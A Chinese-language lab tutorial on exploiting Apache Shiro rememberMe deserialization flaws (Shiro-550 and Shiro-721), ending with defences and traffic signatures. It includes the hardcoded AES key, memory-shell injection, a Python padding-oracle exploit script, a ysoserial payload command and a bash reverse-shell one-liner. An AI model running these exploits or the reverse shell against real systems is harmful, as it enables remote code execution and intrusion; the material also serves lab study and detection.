一、Shiro 框架介绍

1、Shiro 框架简介

Shiro 框架是一个强大且易用的Java安全框架,用来进行身份验证、授权、密码和会话管理。

但如果rememberMe 的AES加密秘钥泄露,就会导致shiro的反序列化漏洞,造成RCE。

Shiro 框架的认证流程是:拿到 rememberMe 的cookie 值–>Base64 解密–>AES解密–>进行反序列化。

2、Shiro 框架判断(指纹识别)

在利用 shiro 漏洞时需要判断应用是否用到了 shiro。在请求包的 Cookie 中为 rememberMe 字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,说明目标有使用 Shiro 框架,可以进一步测试。

二、Shiro 550反序列化漏洞(CVE-2016-4437)

1、漏洞成因

影响版本:Apache Shiro <=1.2.4

在受影响的 Apache Shiro 版本中使用了硬编码在代码里的AES密钥 kPH+bIxk5D2deZiIxcaaaA==

2、环境搭建

使用vulhub 搭建靶场

1
docker-compose up -d

image-20240227134907495

3、漏洞复现

用BP抓包,确认是Shiro 框架

image-20240227135459292

我们使用现成的工具进行检测,指定固定的密钥

image-20240227140040809

image-20240227140136993

4、内存马注入

先准备好Shiro 类型的内存马:是经过了序列化和AES加密以及Base64加密

image-20240423171813971

抓包注入

image-20240423172324721

蚁剑连接

image-20240423174226067

三、Shiro 721反序列化漏洞(CVE-2019-12422)

1、漏洞成因

影响版本:1.2.5 <= Apache Shiro <=1.4.1

Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。但是其他解析过程依然一样,也就意味着,如果我们能够得到aes 解密使用的key 的话,依然能够进行反序列化RCE。

在漏洞利用有几条前提:

  1. 有rememberMe 功能;
  2. 其中AES 使用 AES-CBC 模式;
  3. 能获取到正常 Cookie,即用户正常登录的 Cookie 值;
  4. 密文可控;

2、环境搭建

1
2
3
4
git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

如果未能启动成功,可以再执行如下命令

1
docker run --privileged -p 8080:8080 -it shiro-721

将会把容器的执行情况输出到前台,之后访问即可

image-20240314141349035

3、漏洞复现

访问靶机的8080端口,进入登录页面

image-20240314160244583

上方提示了用户名和密码,我们用其中一个进行登录,并勾选Remember Me,抓包

image-20240314161130004

确认是Shiro 框架,我们依然使用工具,我们不知道aes加密的密钥kay,需要在登录成功之后尝试爆破

image-20240314161503333

之后填入密钥,检测利用链,尝试命令执行,成功获取shell

image-20240314161603880

4、使用ysoserial 工具生成 URLDNS 利用链手工验证

1、生成class

1
java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" > payload.class

2、利用项目自带的exp 脚本进行攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#https://github.com/3ndz/Shiro-721  
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
self.wait = kwargs.get('wait', 2.0)

def oracle(self, data, **kwargs):
somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
self.session.cookies['rememberMe'] = somecookie
if self.session.cookies.get('JSESSIONID'):
del self.session.cookies['JSESSIONID']
while 1:
try:
response = self.session.get(sys.argv[1],
stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...',
self.wait)
time.sleep(self.wait)
continue

self.history.append(response)
if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
logging.debug('No padding exception raised on %r', somecookie)
return
raise BadPaddingException


if __name__ == '__main__':
import logging
import sys

if not sys.argv[3:]:
print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
sys.exit(1)

logging.basicConfig(level=logging.DEBUG)
encrypted_cookie = b64decode(unquote(sys.argv[2]))
padbuster = PadBuster()
payload = open(sys.argv[3], 'rb').read()
enc = padbuster.encrypt(plaintext=payload, block_size=16)
print('rememberMe cookies:')
print(b64encode(enc))

3、执行脚本,将class 放置同级目录即可

1
python2 exp.py http://192.168.5.3:8081/shiro721_war/account </COGnLcSO/3cUooGdYVDkQQNHrfZTNY+k0BCXPOmA9L+l7MRr3ZRYyuzDWZPNTSUFmFlkZWG+HJcecRLkdAMuxa43+i/hynQP7cYrDiulXmfTbuKmL8oz9DO9pmpUaumyCU0V3xfyLsv0+o3uYK/8Tlh9Ns+TMng3lMenVclDk3pjL/tPL/gfVFz50SMZw67WgdbG4mBzq0URLXG6d9yqB469ruPeKty5q3yjSfWDvOxJcR2OpUJg6dauiJNqwQwsu3FrkPmUlEAwZtQ/EpS9+74Ey5YVNuq350U00Df4ckmmHURCdRi/847d2dSHNQ80Wsoe4IseBOXabm6CBs+mcb4PWptM//E7CDaY6/UwTOm5yzK8/KSa+RNSXhHkOx4CH9wOyh8peq8bexGtoI1CzkqK54QwFkOzCu/bE9VPDU7ylZil3Xlc5oTDy79BHAZXfOgbUcgSSoV6OoOVG1DC6o6ptRYlFT0KBNjwS+ivFtbbA7kxf2Fq9K4tqxC2QI3> payload.class

4、最终运行成功会给我们一个 rememberMe cookie 去打

image-20241005172621819

5、成功拿到回显

image-20241005172738278

6、注意点

有一个注意的小点就是我们要把Cookie 中的JSESSIONID 字段去掉,不然不会走rememberMe 认证

四、上线不出网Shiro反序列化

Shiro反序列化检测脚本:https://github.com/zhzyker/shiro-1.2.4-rce

1
python3 shiro-1.2.4_rce.py http://1.1.1.1:8080

之后执行反弹shell,用nc监听

1
bash -i >& /dev/tcp/192.168.109.9/8889 0>&1

五、防御措施

  • 及时升级shiro版本,不再使用固定的密钥加密。
  • 在应用程序上部署防火墙、加强身份验证等措施以提高安全性
  • 如果程序不需要RememberMe功能,则完全可以禁用它

六、shrio550和721的区别

  1. 主要区别在于Shiro550 的AES 加密的key使用已知密钥
  2. Shiro721的AES 加密的key为系统随机生成,需要利用登录后的rememberMe 去爆破正确的key值。利用有效的RememberMe Cookie作为Padding Oracle Attack 的前缀,再去构造反序列化攻击。
  3. Shiro 在 1.4.2 版本之前,AES 加密模式为 CBC。在 1.4.2 版本后,Shiro 已经更换加密模式 AES-CBC 为 AES-GCM,脚本编写时需要考虑加密模式变化的情况

七、Shiro 攻击流量特征

  1. 请求包Cookie的rememberMe中会存在AES+base64加密的一串java反序列化代码。
  2. 响应头存在Set-Cookie:rememberMe=deleteMe
  3. 响应包中存在base64加密数据,该数据可作为攻击成功的判定条件。